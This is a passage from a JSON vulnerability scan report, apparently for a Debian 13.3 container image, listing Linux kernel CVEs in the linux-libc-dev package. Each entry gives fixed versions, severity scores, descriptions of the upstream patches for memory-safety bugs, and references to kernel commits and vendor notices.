"https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53294" ], "PublishedDate": "2026-06-26T20:17:22.31Z", "LastModifiedDate": "2026-11-06T17:18:21.513Z" }, { "VulnerabilityID": "CVE-2026-53296", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53296", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a91e37b9545df3a9ebed8b91ab965a778eac3f8e471d20d474101965574f0869", "Title": "kernel: mailbox: mailbox-test: free channels on probe error", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nmailbox: mailbox-test: free channels on probe error\n\nOn probe error, free the previously obtained channels. This not only\nprevents a leak, but also UAF scenarios because the client structure\nwill be removed nonetheless because it was allocated with devm.", "Severity": "HIGH", "CweIDs": [ "CWE-416" ], "VendorSeverity": { "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H", "V3Score": 4.7 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53296", "https://git.kernel.org/linus/c02053a9055d5fdfd32432287cca8958db1d5bc5%20%287.1-rc2%29", "https://git.kernel.org/stable/c/02beb178e2e159daeb8f992d7abb16a37da31664", "https://git.kernel.org/stable/c/0ad8c4a03a358de7811ba1ab8cbd1fe76ad0ff6b", "https://git.kernel.org/stable/c/15c4cc3850cfe1b973eb7b63c02314b267f06a64", "https://git.kernel.org/stable/c/187069ccc3474516af32350e20d7e449160fa6de", "https://git.kernel.org/stable/c/6c6ce2ccb4fcf1617fec83f91b21aa0265f30701", "https://git.kernel.org/stable/c/742001919653e7313b4e91780c5d108be1692365", "https://git.kernel.org/stable/c/81c9e7e4030e71391ab479c4c6e17b64802577aa", "https://git.kernel.org/stable/c/c02053a9055d5fdfd32432287cca8958db1d5bc5", "https://kernelcve.org/list/?q=CVE-2026-53296", "https://lore.kernel.org/linux-cve-announce/2026062618-CVE-2026-53296-fd81@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53296", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53296" ], "PublishedDate": "2026-06-26T20:17:22.557Z", "LastModifiedDate": "2026-11-06T17:18:22.857Z" }, { "VulnerabilityID": "CVE-2026-53303", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53303", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:81aa4d32cf1d910bebb7d55f576675cba82d8a26964e2b7cb408f0de0f867779", "Title": "kernel: f2fs: protect extension_list reading with sb_lock in f2fs_sbi_show()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nf2fs: protect extension_list reading with sb_lock in f2fs_sbi_show()\n\nIn f2fs_sbi_show(), the extension_list, extension_count and\nhot_ext_count are read without holding sbi-\u003esb_lock. If a concurrent\nsysfs store modifies the extension list via f2fs_update_extension_list(),\nthe show path may read inconsistent count and array contents, potentially\nleading to out-of-bounds access or displaying stale data.\n\nFix this by holding sb_lock around the entire extension list read\nand format operation.", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53303", "https://git.kernel.org/linus/5909bedbed38c558bee7cb6758ceedf9bc3a9194%20%287.1-rc1%29", "https://git.kernel.org/stable/c/4b3a1bf4c2ffd4c9595d900ead78c9035894a025", "https://git.kernel.org/stable/c/5909bedbed38c558bee7cb6758ceedf9bc3a9194", "https://git.kernel.org/stable/c/cea15f66b7b68b2c50943a6660e0692c6635e4eb", "https://git.kernel.org/stable/c/d0e877810baf613b018fd9747440b9d4d9db1428", "https://git.kernel.org/stable/c/d3ff0c121bbaef026df6248ab7ef6f0b068b0647", "https://git.kernel.org/stable/c/ea3ab43a1f3cf2c7cecd75c8be1ee99a5e94a92e", "https://lore.kernel.org/linux-cve-announce/2026062619-CVE-2026-53303-adc7@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53303", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://www.cve.org/CVERecord?id=CVE-2026-53303" ], "PublishedDate": "2026-06-26T20:17:23.527Z", "LastModifiedDate": "2026-07-06T20:24:23.577Z" }, { "VulnerabilityID": "CVE-2026-53309", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53309", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:297a3617048707a208e0f3f22999d08a7c80692114616209b8fb189836b746ae", "Title": "kernel: ocfs2/dlm: fix off-by-one in dlm_match_regions() region comparison", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nocfs2/dlm: fix off-by-one in dlm_match_regions() region comparison\n\nThe local-vs-remote region comparison loop uses '\u003c=' instead of '\u003c',\ncausing it to read one entry past the valid range of qr_regions. The\nother loops in the same function correctly use '\u003c'.\n\nFix the loop condition to use '\u003c' for consistency and correctness.", "Severity": "HIGH", "CweIDs": [ "CWE-193" ], "VendorSeverity": { "photon": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:L", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53309", "https://git.kernel.org/linus/01b61e8dda9b0fdb0d4cda43de25f4e390554d7b%20%287.1-rc1%29", "https://git.kernel.org/stable/c/01b61e8dda9b0fdb0d4cda43de25f4e390554d7b", "https://git.kernel.org/stable/c/1fb7f356547d9688822315cd2b205ff0bd5429b4", "https://git.kernel.org/stable/c/2a0673836f019e7c032acbf48d022d5ccf02a845", "https://git.kernel.org/stable/c/426cd8eedac89b86148d4478990eeef16e8a2520", "https://git.kernel.org/stable/c/760ab35040aca8399021fdb9ff1db1089feb7194", "https://git.kernel.org/stable/c/819d8ebad3200a53de99bd7e297bc428e41ced54", "https://git.kernel.org/stable/c/c60a2710b73838d250cda57344c049b89abc5d52", "https://git.kernel.org/stable/c/d5403ae28085761d58b555645bc7d5feadb10073", "https://linux.oracle.com/cve/CVE-2026-53309.html", "https://linux.oracle.com/errata/ELBA-2026-500163.html", "https://lore.kernel.org/linux-cve-announce/2026062620-CVE-2026-53309-794d@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53309", "https://ubuntu.com/security/notices/USN-8566-1", "https://ubuntu.com/security/notices/USN-8567-1", "https://ubuntu.com/security/notices/USN-8568-1", "https://ubuntu.com/security/notices/USN-8569-1", "https://ubuntu.com/security/notices/USN-8574-1", "https://ubuntu.com/security/notices/USN-8574-2", "https://ubuntu.com/security/notices/USN-8574-3", "https://ubuntu.com/security/notices/USN-8575-1", "https://ubuntu.com/security/notices/USN-8575-2", "https://ubuntu.com/security/notices/USN-8575-3", "https://ubuntu.com/security/notices/USN-8576-1", "https://ubuntu.com/security/notices/USN-8576-2", "https://ubuntu.com/security/notices/USN-8593-1", "https://ubuntu.com/security/notices/USN-8595-1", "https://ubuntu.com/security/notices/USN-8595-2", "https://ubuntu.com/security/notices/USN-8595-3", "https://ubuntu.com/security/notices/USN-8596-1", "https://ubuntu.com/security/notices/USN-8603-1", "https://ubuntu.com/security/notices/USN-8606-1", "https://ubuntu.com/security/notices/USN-8607-1", "https://ubuntu.com/security/notices/USN-8608-1", "https://ubuntu.com/security/notices/USN-8609-1", "https://ubuntu.com/security/notices/USN-8610-1", "https://ubuntu.com/security/notices/USN-8618-1", "https://ubuntu.com/security/notices/USN-8619-1", "https://ubuntu.com/security/notices/USN-8620-1", "https://ubuntu.com/security/notices/USN-8620-2", "https://ubuntu.com/security/notices/USN-8620-3", "https://ubuntu.com/security/notices/USN-8620-4", "https://ubuntu.com/security/notices/USN-8644-1", "https://ubuntu.com/security/notices/USN-8644-2", "https://ubuntu.com/security/notices/USN-8644-3", "https://ubuntu.com/security/notices/USN-8645-1", "https://ubuntu.com/security/notices/USN-8646-1", "https://ubuntu.com/security/notices/USN-8663-1", "https://ubuntu.com/security/notices/USN-8664-1", "https://ubuntu.com/security/notices/USN-8665-1", "https://ubuntu.com/security/notices/USN-8668-1", "https://ubuntu.com/security/notices/USN-8668-2", "https://ubuntu.com/security/notices/USN-8714-1", "https://ubuntu.com/security/notices/USN-8714-2", "https://ubuntu.com/security/notices/USN-8714-3", "https://ubuntu.com/security/notices/USN-8715-1", "https://ubuntu.com/security/notices/USN-8715-2", "https://ubuntu.com/security/notices/USN-8725-1", "https://ubuntu.com/security/notices/USN-8725-2", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8748-1", "https://ubuntu.com/security/notices/USN-8850-1", "https://ubuntu.com/security/notices/USN-8911-1", "https://www.cve.org/CVERecord?id=CVE-2026-53309" ], "PublishedDate": "2026-06-26T20:17:24.203Z", "LastModifiedDate": "2026-07-06T20:14:26.23Z" }, { "VulnerabilityID": "CVE-2026-53329", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53329", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cfd1f6f6b846fc2123f9389321e813d2d80d4990a304fed92a30d84950e57bef", "Title": "kernel: drm/amd/display: Use krealloc_array() in dal_vector_reserve()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Use krealloc_array() in dal_vector_reserve()\n\n[Why \u0026 How]\ndal_vector_reserve() computes the allocation size as\n\"capacity * vector-\u003estruct_size\" using uint32_t arithmetic, which can\nsilently wrap to a small value on overflow. This would cause krealloc to\nreturn a smaller buffer than expected, leading to heap overflows on\nsubsequent vector appends.\n\nReplace krealloc() with krealloc_array() which performs an internal\noverflow check and returns NULL on wrap, preventing the issue.\n\n(cherry picked from commit 37668568641ccc4cc1dbca4923d0a16609dd5707)", "Severity": "HIGH", "CweIDs": [ "CWE-674", "CWE-190" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3, "ubuntu": 1 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:57252", "https://access.redhat.com/security/cve/CVE-2026-53329", "https://bugzilla.redhat.com/2467135", "https://bugzilla.redhat.com/2467156", "https://bugzilla.redhat.com/2467202", "https://bugzilla.redhat.com/2482113", "https://bugzilla.redhat.com/2482124", "https://bugzilla.redhat.com/2482614", "https://bugzilla.redhat.com/2492403", "https://bugzilla.redhat.com/2492719", "https://bugzilla.redhat.com/2492768", "https://bugzilla.redhat.com/2492788", "https://bugzilla.redhat.com/2495941", "https://bugzilla.redhat.com/2495950", "https://bugzilla.redhat.com/2502188", "https://bugzilla.redhat.com/2502321", "https://bugzilla.redhat.com/2502361", "https://bugzilla.redhat.com/2502422", "https://bugzilla.redhat.com/2502443", "https://bugzilla.redhat.com/2502463", "https://bugzilla.redhat.com/2502589", "https://bugzilla.redhat.com/2506790", "https://bugzilla.redhat.com/2507042", "https://bugzilla.redhat.com/2507135", "https://bugzilla.redhat.com/2507216", "https://bugzilla.redhat.com/2508504", "https://bugzilla.redhat.com/2513373", "https://bugzilla.redhat.com/2513470", "https://bugzilla.redhat.com/show_bug.cgi?id=2467135", "https://bugzilla.redhat.com/show_bug.cgi?id=2467156", "https://bugzilla.redhat.com/show_bug.cgi?id=2467202", "https://bugzilla.redhat.com/show_bug.cgi?id=2482113", "https://bugzilla.redhat.com/show_bug.cgi?id=2482124", "https://bugzilla.redhat.com/show_bug.cgi?id=2482614", "https://bugzilla.redhat.com/show_bug.cgi?id=2492403", "https://bugzilla.redhat.com/show_bug.cgi?id=2492719", "https://bugzilla.redhat.com/show_bug.cgi?id=2492768", "https://bugzilla.redhat.com/show_bug.cgi?id=2492788", "https://bugzilla.redhat.com/show_bug.cgi?id=2495941", "https://bugzilla.redhat.com/show_bug.cgi?id=2495950", "https://bugzilla.redhat.com/show_bug.cgi?id=2502188", "https://bugzilla.redhat.com/show_bug.cgi?id=2502321", "https://bugzilla.redhat.com/show_bug.cgi?id=2502361", "https://bugzilla.redhat.com/show_bug.cgi?id=2502422", "https://bugzilla.redhat.com/show_bug.cgi?id=2502443", "https://bugzilla.redhat.com/show_bug.cgi?id=2502463", "https://bugzilla.redhat.com/show_bug.cgi?id=2502589", "https://bugzilla.redhat.com/show_bug.cgi?id=2506790", "https://bugzilla.redhat.com/show_bug.cgi?id=2507042", "https://bugzilla.redhat.com/show_bug.cgi?id=2507135", "https://bugzilla.redhat.com/show_bug.cgi?id=2507216", "https://bugzilla.redhat.com/show_bug.cgi?id=2508504", "https://bugzilla.redhat.com/show_bug.cgi?id=2513373", "https://bugzilla.redhat.com/show_bug.cgi?id=2513470", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43206", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43233", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-43237", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45878", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-45991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-46120", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-52991", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53136", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53143", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53189", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53329", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53356", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53374", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63879", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63884", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63888", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-63952", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64007", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64048", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64219", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64379", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64382", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64386", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-64560", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68343", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-68388", "https://errata.almalinux.org/9/ALSA-2026-57252.html", "https://errata.rockylinux.org/RLSA-2026:57252", "https://git.kernel.org/linus/da48bc4461b8a5ebfb9264c9b191a701d8e99009%20%287.1-rc7%29", "https://git.kernel.org/stable/c/201151e120f0062bcda21cad5d007b82725ad23b", "https://git.kernel.org/stable/c/31180638a33acad12c863132704a76536fb66211", "https://git.kernel.org/stable/c/9540b0a4d13e4ede64ae1197d66a176d2149daa9", "https://git.kernel.org/stable/c/a914aa802669e073f014dae2e5708633b5cecd34", "https://git.kernel.org/stable/c/b15825deac1acff72638bbc8f05b89ceef8dfb13", "https://git.kernel.org/stable/c/da48bc4461b8a5ebfb9264c9b191a701d8e99009", "https://git.kernel.org/stable/c/de988c7a31f0774f07894cfe4802996f318e2870", "https://git.kernel.org/stable/c/e09689286385a66311ac6922af95339d7a3cef8d", "https://linux.oracle.com/cve/CVE-2026-53329.html", "https://linux.oracle.com/errata/ELSA-2026-57252.html", "https://lore.kernel.org/linux-cve-announce/2026070142-CVE-2026-53329-ccf5@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53329", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8875-1", "https://ubuntu.com/security/notices/USN-8875-2", "https://ubuntu.com/security/notices/USN-8877-1", "https://ubuntu.com/security/notices/USN-8878-1", "https://ubuntu.com/security/notices/USN-8879-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://ubuntu.com/security/notices/USN-8903-1", "https://ubuntu.com/security/notices/USN-8903-2", "https://ubuntu.com/security/notices/USN-8904-1", "https://ubuntu.com/security/notices/USN-8905-1", "https://ubuntu.com/security/notices/USN-8905-2", "https://ubuntu.com/security/notices/USN-8906-1", "https://ubuntu.com/security/notices/USN-8963-1", "https://www.cve.org/CVERecord?id=CVE-2026-53329" ], "PublishedDate": "2026-07-01T14:16:40.76Z", "LastModifiedDate": "2026-10-19T20:19:14.93Z" }, { "VulnerabilityID": "CVE-2026-53330", "VendorIDs": [ "DSA-6602-1" ], "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.115-2", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53330", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:da02dc133d4d233f95517748f59492efa426806c63429ad2ebe43037722a3f22", "Title": "kernel: drm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/amd/display: Fix out-of-bounds read in dp_get_eq_aux_rd_interval()\n\n[Why \u0026 How]\nThe aux_rd_interval array in struct dc_lttpr_caps is declared with\nMAX_REPEATER_CNT - 1 (7) elements, indexed 0..6. However, the offset\nparameter passed to dp_get_eq_aux_rd_interval() can be as large as\nMAX_REPEATER_CNT (8) when a sink reports 8 LTTPR repeaters via DPCD.\nThis leads to an out-of-bounds read of aux_rd_interval[7] when offset\nis 8.\n\nFix this by growing aux_rd_interval to MAX_REPEATER_CNT elements to\naccommodate the full range of valid repeater counts defined by the DP\nspec.\n\n(cherry picked from commit a55a458a8df37a65ffda5cf721d554a8f74f6b04)", "Severity": "HIGH", "CweIDs": [ "CWE-125" ], "VendorSeverity": { "nvd": 3, "photon": 3, "ubuntu": 1 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H", "V3Score": 7.1 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-53330", "https://git.kernel.org/linus/e8b4d37eba05141ee01794fc6b7f2da808cee83b%20%287.1-rc7%29", "https://git.kernel.org/stable/c/454d3b3d499c18373f8960d31aea48338a3ca9e0", "https://git.kernel.org/stable/c/7b310c6d82d782282085c9728dfe69e07d185b6c", "https://git.kernel.org/stable/c/7c5f2d16a8f4464bf2a719ceb2316b8a6b87a3c0", "https://git.kernel.org/stable/c/a632474c793b7f2a9bbd3d8e3d0dd7d256989300", "https://git.kernel.org/stable/c/dc1490927d79fe9621e29f4a4f5d7b5ccb6aea3e", "https://git.kernel.org/stable/c/e8b4d37eba05141ee01794fc6b7f2da808cee83b", "https://lore.kernel.org/linux-cve-announce/2026070142-CVE-2026-53330-0e20@gregkh/T", "https://nvd.nist.gov/vuln/detail/CVE-2026-53330", "https://ubuntu.com/security/notices/USN-8726-1", "https://ubuntu.com/security/notices/USN-8726-2", "https://ubuntu.com/security/notices/USN-8726-3", "https://ubuntu.com/security/notices/USN-8726-4", "https://ubuntu.com/security/notices/USN-8727-1", "https://ubuntu.com/security/notices/USN-8728-1", "https://ubuntu.com/security/notices/USN-8728-2", "https://ubuntu.com/security/notices/USN-8728-3", "https://ubuntu.com/security/notices/USN-8760-1", "https://ubuntu.com/security/notices/USN-8760-2", "https://ubuntu.com/security/notices/USN-8800-1", "https://ubuntu.com/security/notices/USN-8886-1", "https://www.cve.org/CVERecord?id=CVE-2026-53330" ], "PublishedDate": "2026-07-01T14:16:40.893Z", "LastModifiedDate": "2026-10-30T13:19:16.39Z" }, { "VulnerabilityID": "CVE-2026-53346", "PkgID": "linux-libc-dev@6.12.74-2", "PkgName": "linux-libc-dev", "PkgIdentifier": { "PURL": "pkg:deb/debian/linux-libc-dev@6.12.74-2?arch=all\u0026distro=debian-13.3", "UID": "2d3425cf67af88d8" }, "InstalledVersion": "6.12.74-2", "FixedVersion": "6.12.94-1", "Status": "fixed", "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53346", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:9196470f6510ec5a0ffcd313734ecba3853ff5af78ad7f51f9b4459f8736c0b5", "Title": "kernel: rust: arm64: set uwtable llvm module flag for CONFIG_UNWIND_TABLES", "Description": "In the Linux kernel, the following vulnerability has been resolved:\n\nrust: arm64: set uwtable llvm module flag for CONFIG_UNWIND_TABLES\n\nDue to a rustc bug [1] the -Cforce-unwind-tables=y flag only emits the\nuwtable annotation for functions, but not for the module. This means\nthat compiler-generated functions such as 'asan.module_ctor' do not\nreceive the uwtable annotation.\n\nWhen CONFIG_UNWIND_PATCH_PAC_INTO_SCS is enabled, this leads to boot\nfailures because the dwarf information emitted for the kasan\nconstructors is wrong, which causes the SCS boot patching code to\npatch the constructor in an illegal manner. Specifically, the paciasp\ninstruction is patched, but the autiasp instruction is not. This\nmismatch leads to a crash when the constructor is called during boot.\n\n\t==================================================================\n\tBUG: KASAN: global-out-of-bounds in do_basic_setup+0x4c/0x90\n\tRead of size 8 at addr ffffffe3cc7eb488 by task swapper/0/1\n\nSpecifically the faulting instruction is the (*fn)() to invoke the\nconstructor in do_ctors() of the init/main.c file.\n\nOnce the fix lands in rustc, this flag can be made conditional on the\nrustc version. Note that passing the flag on a rustc with the fix\npresent has no effect.\n\n[ The fix [1] has landed for Rust 1.98.0 (expected release on\n 2026-08-20).\n\n Thus add a version check as discussed.\n\n - Miguel ]\n\n[ Adjusted link and comment. - Miguel ]", 